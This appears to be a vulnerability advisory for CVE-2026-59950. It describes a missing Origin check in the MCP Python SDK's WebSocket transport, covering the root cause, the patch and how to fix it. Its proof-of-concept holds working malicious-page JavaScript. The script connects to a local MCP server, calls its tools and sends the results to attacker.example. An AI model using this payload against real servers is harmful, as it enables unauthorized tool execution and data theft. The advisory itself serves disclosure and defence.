CVE-2026-59950: mcp WebSocket Transport Missing Origin Validation
The deprecated WebSocket server transport in the MCP Python SDK accepted connections from any web origin without checking Host or Origin headers, letting a malicious web page silently call tools on…
The problem
mcp versions before 1.28.1 shipped a websocket_server() transport that called Starlette's websocket.accept(subprotocol="mcp") immediately on every incoming upgrade request. No Host or Origin headers were inspected.
The TransportSecuritySettings and TransportSecurityMiddleware validation that the SSE and Streamable HTTP transports used was never wired into this code path. Any web page the victim visits can therefore open a WebSocket to the server, complete the MCP initialize handshake, and invoke tools or read resources without any token or prior session.
Proof of concept
A working proof-of-concept for CVE-2026-59950 in mcp, with the exact payload below.
<!-- Malicious page hosted on https://attacker.example -->
<script>
const ws = new WebSocket('ws://localhost:8765', ['mcp']);
ws.onopen = () => {
// Step 1: initialize the MCP session
ws.send(JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: {
protocolVersion: '2024-11-05',
clientInfo: { name: 'evil', version: '1.0' },
capabilities: {}
}
}));
};
ws.onmessage = (evt) => {
const msg = JSON.parse(evt.data);
if (msg.id === 1) {
// Step 2: list available tools
ws.send(JSON.stringify({
jsonrpc: '2.0',
id: 2,
method: 'tools/list',
params: {}
}));
}
if (msg.id === 2) {
// Step 3: call whatever tool is exposed
const tool = msg.result.tools[0];
ws.send(JSON.stringify({
jsonrpc: '2.0',
id: 3,
method: 'tools/call',
params: { name: tool.name, arguments: {} }
}));
}
if (msg.id === 3) {
// exfiltrate result
fetch('https://attacker.example/collect', {
method: 'POST',
body: JSON.stringify(msg.result)
});
ws.close();
}
};
</script>The root cause (CWE-346, CWE-1385) is that websocket_server() accepted the WebSocket handshake unconditionally. Browsers always attach an Origin header on cross-origin WebSocket upgrades, but they do not enforce a same-origin policy on the server's response, so the upgrade completes regardless of where the requesting page is hosted.
The patch in commit 777b8d0 (PR #2992) adds a security_settings: TransportSecuritySettings | None = None parameter to websocket_server() and calls TransportSecurityMiddleware.validate_request() against the Host and Origin headers before any accept() call.
A failing validation now closes the connection with HTTP 403 and raises ValueError("Request validation failed"). Note that security_settings defaults to None, so the protection is opt-in: callers must pass an explicit TransportSecuritySettings object to benefit.
The fix
Upgrade to mcp 1.28.1 or later (pip install mcp>=1.28.1). Upgrading alone does not enable validation because security_settings defaults to None. Pass an explicit TransportSecuritySettings(enable_dns_rebinding_protection=True, allowed_hosts=["localhost"], allowed_origins=["https://yourapp.example"]) when constructing the transport.
The preferred long-term fix is to migrate off websocket_server entirely: use Streamable HTTP via FastMCP, which enables this protection automatically for localhost binds. The WebSocket transport is removed entirely in v2.
Related research
- high · 7.6CVE-2026-52870CVE-2026-52870: mcp (Python SDK) Missing Authorization on Experimental Task Handlers
- high · 7.1CVE-2026-52869CVE-2026-52869: mcp (Python SDK) Session Authorization Bypass
- high · 7.5CVE-2026-67432CVE-2026-67432: mcp (Ruby SDK) Unbounded Request Body Memory Exhaustion
- criticalCVE-2026-54069CVE-2026-54069: SiYuan Unauthenticated Admin API Access via chrome-extension:// Origin Bypass